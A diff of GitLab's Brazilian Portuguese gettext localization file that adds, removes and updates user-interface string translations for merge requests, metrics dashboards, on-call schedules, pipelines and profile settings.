msgid "Last Sync"
-msgstr ""
+msgstr "Última sincronização"
msgid "Last Used"
msgstr "Último uso"
@@ -20258,10 +20589,10 @@ msgid "Learn more"
msgstr "Saiba mais"
msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
-msgstr ""
+msgstr "Saiba mais sobre a %{link_start_tag}configuração do Jaeger %{link_end_tag}."
msgid "Learn more about %{username}"
-msgstr ""
+msgstr "Saiba mais sobre o %{username}"
msgid "Learn more about Auto DevOps"
msgstr "Saiba mais sobre o Auto DevOps"
@@ -20291,9 +20622,9 @@ msgid "Learn more about group-level project templates"
msgstr "Saiba mais sobre os modelos de projeto de nível de grupo"
msgid "Learn more about groups."
-msgstr ""
+msgstr "Saiba mais sobre os grupos."
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr "Vamos conversar!"
msgid "License Compliance"
msgstr "License Compliance"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr "Arquivo de licença"
@@ -20581,9 +20918,6 @@ msgstr "Detectado no projeto"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,15 +20945,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr "A lista de licenças detalha informações sobre as licenças usadas em seu projeto."
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "Ver os detalhes da licença do seu projeto"
msgid "Limit display of time tracking units to hours."
msgstr "Limita a exibição de unidades de acompanhamento de tempo a horas."
-msgid "Limit namespaces and projects that can be indexed"
-msgstr ""
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20656,7 +20993,7 @@ msgid "Link Prometheus monitoring to GitLab."
msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
-msgstr ""
+msgstr "Vincule o Sentry ao GitLab para descobrir e visualizar os erros gerados pela sua aplicação."
msgid "Link URL"
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20917,7 +21254,7 @@ msgid "Makes this issue confidential."
msgstr "Torna esta issue confidencial."
msgid "Manage %{workspace} labels"
-msgstr ""
+msgstr "Gerenciar etiquetas de %{workspace}"
msgid "Manage Web IDE features."
msgstr "Gerenciar recursos do IDE Web."
@@ -20931,7 +21268,7 @@ msgstr "Gerenciar todas as notificações"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Gerencie aplicativos que podem utilizar o GitLab como um provedor OAuth e aplicativos que você autorizou a utilizar sua conta."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr "Máximo de 20 caracteres"
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr "Tamanho máximo dos artefatos"
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr "%{member_name} convidou você para participar do GitLab"
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21466,7 +21806,7 @@ msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
-msgstr ""
+msgstr "Deixar \"%{source}\""
msgid "Members|Membership"
msgstr ""
@@ -21517,7 +21857,7 @@ msgid "Merge Request"
msgstr "Solicitação de mesclagem"
msgid "Merge Request Analytics"
-msgstr ""
+msgstr "Análise de solicitação de mesclagem"
msgid "Merge Requests"
msgstr "Solicitações de mesclagem"
@@ -21526,7 +21866,7 @@ msgid "Merge Requests created"
msgstr "Solicitações de mesclagem criadas"
msgid "Merge Requests in Review"
-msgstr ""
+msgstr "Solicitações de mesclagem em revisão"
msgid "Merge Requests merged"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr "Mesclar automaticamente (%{strategy})"
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "Mensagem do commit mesclado"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Eventos de mesclagem"
@@ -21580,13 +21929,13 @@ msgid "Merge request commits"
msgstr "Commits de solicitação de mesclagem"
msgid "Merge request dependencies"
-msgstr ""
+msgstr "Dependências de solicitação de mesclagem"
msgid "Merge request events"
-msgstr ""
+msgstr "Eventos de solicitação de mesclagem"
msgid "Merge request reports"
-msgstr ""
+msgstr "Relatórios de solicitação de mesclagem"
msgid "Merge request was scheduled to merge after pipeline succeeds"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Solicitações de mesclagem"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "A tela de solicitação de mesclagem é um lugar para propor mudanças em um projeto e discutir essas mudanças com outros"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21643,7 +21983,7 @@ msgid "MergeRequestAnalytics|Assignees"
msgstr "Responsáveis"
msgid "MergeRequestAnalytics|Date Merged"
-msgstr ""
+msgstr "Data de mesclagem"
msgid "MergeRequestAnalytics|Line changes"
msgstr "Alterações de linha"
@@ -21658,7 +21998,7 @@ msgid "MergeRequestAnalytics|Pipelines"
msgstr "Pipelines"
msgid "MergeRequestAnalytics|Time to merge"
-msgstr ""
+msgstr "Tempo de mesclar"
msgid "MergeRequestApprovals|Define approval rules and settings to ensure %{link_start}separation of duties%{link_end} for new merge requests."
msgstr ""
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr "Aprovado por @%{username}"
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr "Comparar %{target} e %{source}"
@@ -21796,7 +22148,7 @@ msgid "MetricChart|Selected"
msgstr "Selecionado"
msgid "MetricChart|There is no data available. Please change your selection."
-msgstr ""
+msgstr "Não há dados disponíveis. Por favor mude sua seleção."
msgid "MetricChart|There is too much data to calculate. Please change your selection."
msgstr ""
@@ -21916,19 +22268,19 @@ msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
-msgstr ""
+msgstr "Criar painel personalizado %{fileName}"
msgid "Metrics|Create metric"
msgstr "Criar métricas"
msgid "Metrics|Create new dashboard"
-msgstr ""
+msgstr "Criar novo painel"
msgid "Metrics|Create your dashboard configuration file"
msgstr ""
msgid "Metrics|Current"
-msgstr ""
+msgstr "Atual"
msgid "Metrics|Dashboard files can be found in %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
msgstr ""
@@ -21946,10 +22298,10 @@ msgid "Metrics|Duplicate"
msgstr ""
msgid "Metrics|Duplicate current dashboard"
-msgstr ""
+msgstr "Duplicar painel atual"
msgid "Metrics|Duplicate dashboard"
-msgstr ""
+msgstr "Duplicar painel"
msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
msgstr ""
@@ -21958,7 +22310,7 @@ msgid "Metrics|Duplicating..."
msgstr "Duplicando..."
msgid "Metrics|Edit dashboard YAML"
-msgstr ""
+msgstr "Editar YAML do painel"
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
@@ -21993,7 +22345,7 @@ msgid "Metrics|Max"
msgstr ""
msgid "Metrics|Metrics Settings"
-msgstr ""
+msgstr "Configurações de métricas"
msgid "Metrics|Min"
msgstr ""
@@ -22008,13 +22360,13 @@ msgid "Metrics|New metric"
msgstr "Nova métrica"
msgid "Metrics|Open repository"
-msgstr ""
+msgstr "Abrir repositório"
msgid "Metrics|Panel YAML"
-msgstr ""
+msgstr "YAML do Panel"
msgid "Metrics|Panel YAML copied"
-msgstr ""
+msgstr "YAML do Panel copiado"
msgid "Metrics|Preview panel"
msgstr "Painel de visualização"
@@ -22029,7 +22381,7 @@ msgid "Metrics|Refresh Prometheus data"
msgstr ""
msgid "Metrics|Refresh dashboard"
-msgstr ""
+msgstr "Atualizar painel"
msgid "Metrics|Select a value"
msgstr "Selecionar um valor"
@@ -22098,7 +22450,7 @@ msgid "Metrics|Validating query"
msgstr ""
msgid "Metrics|Values"
-msgstr ""
+msgstr "Valores"
msgid "Metrics|View documentation"
msgstr "Ver documentação"
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22487,7 +22842,7 @@ msgid "MoveIssue|Cannot move issue due to insufficient permissions!"
msgstr "Não é possível mover a issue devido a permissões insuficientes!"
msgid "MoveIssue|Cannot move issue to project it originates from!"
-msgstr ""
+msgstr "Não é possível mover a issue para o projeto de onde ele é originário!"
msgid "MoveIssue|Cannot move issues of '%{issue_type}' type."
msgstr ""
@@ -22553,7 +22908,7 @@ msgid "My company or team"
msgstr "Minha empresa ou equipe"
msgid "My topic"
-msgstr ""
+msgstr "Meu tópico"
msgid "My-Reaction"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22672,7 +23024,7 @@ msgid "Network"
msgstr "Rede"
msgid "Network:"
-msgstr ""
+msgstr "Rede:"
msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
msgstr "%{ifLabelStart}se%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and está entrando de um%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
@@ -22770,9 +23122,6 @@ msgstr "Tráfego de rede"
msgid "NetworkPolicies|None selected"
msgstr "Nenhum selecionado"
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr "Por favor %{installLinkStart}instale%{installLinkEnd} e %{configureLinkStart}Configure um agente Kubernetes para este projeto%{configureLinkEnd} para ativar alertas."
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr "O tráfego que não corresponder a nenhuma regra será bloqueado."
@@ -23000,6 +23352,9 @@ msgstr "Nova solicitação de mesclagem"
msgid "New milestone"
msgstr "Novo marco"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Nova senha"
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Novo agendamento"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Novo snippet"
@@ -23049,7 +23407,7 @@ msgid "New test case"
msgstr "Novo caso de teste"
msgid "New topic"
-msgstr ""
+msgstr "Novo tópico"
msgid "New users set to external"
msgstr "Novos usuários definidos para uso externo"
@@ -23231,6 +23589,9 @@ msgstr "Nenhum arquivo encontrado."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr "Nenhum resultado correspondente para \"%{query}\""
msgid "No matching results..."
msgstr "Nenhum resultado correspondente..."
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr "Nenhum membro encontrado"
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Nenhuma solicitação de mesclagem encontrada"
@@ -23324,6 +23691,9 @@ msgstr "Nenhum perfil encontrado"
msgid "No projects found"
msgstr "Nenhum projeto encontrado"
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Nenhum grupo público"
@@ -23345,11 +23715,14 @@ msgstr "Nenhum executor encontrado"
msgid "No schedules"
msgstr "Nenhum agendamento"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
msgid "No source selected"
-msgstr ""
+msgstr "Nenhuma fonte selecionada"
msgid "No stack trace for this error"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "Não disponível para ramificações protegidas"
msgid "Not confidential"
msgstr "Não confidencial"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "Não encontrado."
@@ -23655,7 +24031,7 @@ msgstr "Agora, personalize sua experiência do GitLab"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23677,7 +24053,7 @@ msgid "Number of commits per MR"
msgstr "Número de commits por MR"
msgid "Number of employees"
-msgstr ""
+msgstr "Número de funcionários"
msgid "Number of events"
msgstr ""
@@ -23811,7 +24187,7 @@ msgstr "Falha ao editar o agendamento"
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23848,7 +24224,7 @@ msgid "OnCallSchedules|Rotations"
msgstr ""
msgid "OnCallSchedules|Route alerts directly to specific members of your team"
-msgstr ""
+msgstr "Roteamento de alertas de diretamente para membros específicos de sua equipe"
msgid "OnCallSchedules|Select participant"
msgstr ""
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23932,7 +24314,7 @@ msgid "OnDemandScans|My daily scan"
msgstr ""
msgid "OnDemandScans|New DAST scan"
-msgstr ""
+msgstr "Nova verificação de DAST"
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
@@ -23947,7 +24329,7 @@ msgid "OnDemandScans|On-demand Scans"
msgstr "Verificação sob demanda"
msgid "OnDemandScans|On-demand scans"
-msgstr ""
+msgstr "Verificação sob demanda"
msgid "OnDemandScans|On-demand scans run outside of DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}."
msgstr ""
@@ -23965,7 +24347,7 @@ msgid "OnDemandScans|Scan name"
msgstr "Nome da verificação"
msgid "OnDemandScans|Scan type"
-msgstr ""
+msgstr "Tipo de verificação"
msgid "OnDemandScans|Scanner profile"
msgstr "Perfil de verificação"
@@ -23983,21 +24365,21 @@ msgid "OnDemandScans|Start time"
msgstr "Hora de início"
msgid "OnDemandScans|Target"
-msgstr ""
+msgstr "Destino"
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Mais um item"
msgstr[1] "Mais %d itens"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "Um ou mais grupos aos quais você não tem acesso."
@@ -24056,6 +24444,9 @@ msgstr "Apenas administradores podem excluir projetos"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Aberta"
msgid "Open Selection"
msgstr "Abrir seleção"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24105,7 +24499,7 @@ msgid "Open errors"
msgstr "Abrir erros"
msgid "Open in Web IDE"
-msgstr ""
+msgstr "Abrir no IDE Web"
msgid "Open in file view"
msgstr "Abrir na visualização de arquivos"
@@ -24183,7 +24577,7 @@ msgid "Optional parameter \"variables\" must be a Hash. Ex: variables[key1]=valu
msgstr ""
msgid "Optional."
-msgstr ""
+msgstr "Opcional."
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Opcionalmente, você pode %{link_to_customize} como os endereços de e-mail e nomes de usuários do FogBugz são importados para o GitLab."
@@ -24195,7 +24589,7 @@ msgid "Or you can choose one of the suggested colors below"
msgstr "Ou você pode escolher uma das cores sugeridas abaixo"
msgid "Organizations"
-msgstr ""
+msgstr "Organizações"
msgid "Orphaned member"
msgstr ""
@@ -24273,13 +24667,13 @@ msgid "PQL|By providing my contact information, I agree GitLab may contact me vi
msgstr ""
msgid "PQL|Cancel"
-msgstr ""
+msgstr "Cancelar"
msgid "PQL|Contact our Sales team"
-msgstr ""
+msgstr "Contatar equipe de vendas"
msgid "PQL|Contact sales"
-msgstr ""
+msgstr "Contatar vendas"
msgid "PQL|Hello %{userName}. Before putting you in touch with our sales team, we would like you to verify and complete the information below."
msgstr ""
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,26 +25088,29 @@ msgstr "Página não encontrada"
msgid "Page settings"
msgstr ""
-msgid "PagerDutySettings|Active"
+msgid "Page size"
msgstr ""
+msgid "PagerDutySettings|Active"
+msgstr "Ativo"
+
msgid "PagerDutySettings|Create a GitLab incident for each PagerDuty incident by %{linkStart}configuring a webhook in PagerDuty%{linkEnd}"
-msgstr ""
+msgstr "Crie um incidente no GitLab para cada incidente %{linkStart}configurando um webhook no PagerDuty%{linkEnd}"
msgid "PagerDutySettings|Failed to update Webhook URL"
-msgstr ""
+msgstr "Falha ao atualizar o URL de Webhook"
msgid "PagerDutySettings|Reset webhook URL"
-msgstr ""
+msgstr "Redefinir URL de webhook"
msgid "PagerDutySettings|Resetting the webhook URL for this project will require updating this integration's settings in PagerDuty."
-msgstr ""
+msgstr "A redefinição do URL de webhook para este projeto exigirá a atualização das configurações desta integração no PagerDuty."
msgid "PagerDutySettings|Webhook URL"
msgstr "URL de webhook"
msgid "PagerDutySettings|Webhook URL update was successful"
-msgstr ""
+msgstr "A atualização do URL de webhook foi bem-sucedida"
msgid "Pages"
msgstr "Páginas"
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Senha"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Senha (opcional)"
@@ -24818,7 +25215,7 @@ msgid "PasswordPrompt|Please enter your password to confirm"
msgstr "Por favor, digite sua senha para confirmar"
msgid "Passwords should be unique and not used for any other sites or services."
-msgstr ""
+msgstr "As senhas devem ser exclusivas e não devem ser usadas para nenhum outro site ou serviço."
msgid "Past due"
msgstr "Atrasado"
@@ -24986,7 +25383,7 @@ msgid "Period in seconds"
msgstr "Período em segundos"
msgid "Permanently delete project"
-msgstr ""
+msgstr "Excluir projeto permanentemente"
msgid "Permanently remove group"
msgstr "Remover grupo permanentemente"
@@ -25042,6 +25439,12 @@ msgstr "Pipeline %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "Pipeline %{label} para \"%{dataTitle}\""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "ID do pipeline"
@@ -25241,7 +25644,7 @@ msgid "PipelineSource|Push"
msgstr ""
msgid "PipelineSource|Schedule"
-msgstr ""
+msgstr "Agendamento"
msgid "PipelineSource|Trigger"
msgstr "Gatilho"
@@ -25357,9 +25760,6 @@ msgstr "YAML mesclado é apenas a visualização"
msgid "Pipelines|More Information"
msgstr "Mais informações"
-msgid "Pipelines|No artifacts available"
-msgstr "Nenhum artefato disponível"
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr "Criado"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Data"
@@ -25504,9 +25907,6 @@ msgstr "Falhou"
msgid "Pipeline|In progress"
msgstr "Em progresso"
-msgid "Pipeline|Key"
-msgstr "Chave"
-
msgid "Pipeline|Manual"
msgstr "Manual"
@@ -25597,12 +25997,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr "Gatilho"
-msgid "Pipeline|Value"
-msgstr "Valor"
-
msgid "Pipeline|Variables"
msgstr "Variáveis"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr "Ver pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "Digite um número válido"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr "Por favor, migre todos os projetos existentes para o armazenamento com h
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "Por favor, note que esse aplicativo não é fornecido pelo GitLab e você deve verificar a sua autenticidade antes de permitir o acesso."
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "Por favor, forneça um nome"
@@ -26011,8 +26411,8 @@ msgstr "Pressione %{key}-C para copiar"
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Impede a adição de novos membros ao projeto pertencentes a este grupo"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr "Evitar a parada automática"
@@ -26021,10 +26421,10 @@ msgid "Prevent editing approval rules in projects and merge requests."
msgstr "Evitar a edição de regras de aprovação em projetos e solicitações de mesclagem."
msgid "Prevent environment from auto-stopping"
-msgstr "Impedir que o ambiente pare automaticamente"
+msgstr "Evitar que o ambiente pare automaticamente"
msgid "Prevent project forking outside current group"
-msgstr "Impedir o fork do projeto fora do grupo atual"
+msgstr "Evitar o fork do projeto fora do grupo atual"
msgid "Prevent users from changing their profile name"
msgstr ""
@@ -26198,7 +26598,7 @@ msgid "Profiles| You are going to change the username %{currentUsernameBold} to
msgstr "Você vai alterar o nome de usuário %{currentUsernameBold} para %{newUsernameBold}. O perfil e os projetos serão redirecionados para %{newUsername} mas esse redirecionamento expirará quando %{currentUsername} for registrado por outro usuário ou grupo. Por favor, atualize seus repositórios remotos Git o mais rápido possível."
msgid "Profiles|%{provider} Active"
-msgstr ""
+msgstr "%{provider} ativo"
msgid "Profiles|@username"
msgstr "@nomedeusuário"
@@ -26293,8 +26693,8 @@ msgstr "Desconectar %{provider}"
msgid "Profiles|Do not show on profile"
msgstr "Não mostrar no perfil"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Não exibir informações pessoais relacionadas à atividade em seus perfis"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Editar perfil"
@@ -26314,15 +26714,15 @@ msgstr "Digite sua senha para confirmar a alteração do e-mail"
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr "Digite seu pronome para que as pessoas sabiam como preferir a você"
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr "A chave expirada não é válida."
msgid "Profiles|Expired:"
msgstr "Expirado:"
-msgid "Profiles|Expires at"
-msgstr "Expira em"
-
msgid "Profiles|Expires:"
msgstr "Expira em:"
@@ -26362,15 +26762,18 @@ msgstr "Nome de usuário inválido"
msgid "Profiles|Key"
msgstr "Chave"
+msgid "Profiles|Key becomes invalid on this date."
+msgstr ""
+
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
msgid "Profiles|Key can still be used after expiration."
msgstr ""
msgid "Profiles|Key usable beyond expiration date."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
-msgstr "A chave será excluída nessa data"
-
msgid "Profiles|Last used:"
msgstr "Último uso:"
@@ -26672,7 +27075,7 @@ msgid "Project export requests"
msgstr "Requisições de exportação de projetos"
msgid "Project export started. A download link will be sent by email and made available on this page."
-msgstr ""
+msgstr "Exportação do projeto iniciada. Um link para baixar será enviado por e-mail e disponibilizado nesta página."
msgid "Project has too many %{label_for_message} to search"
msgstr ""
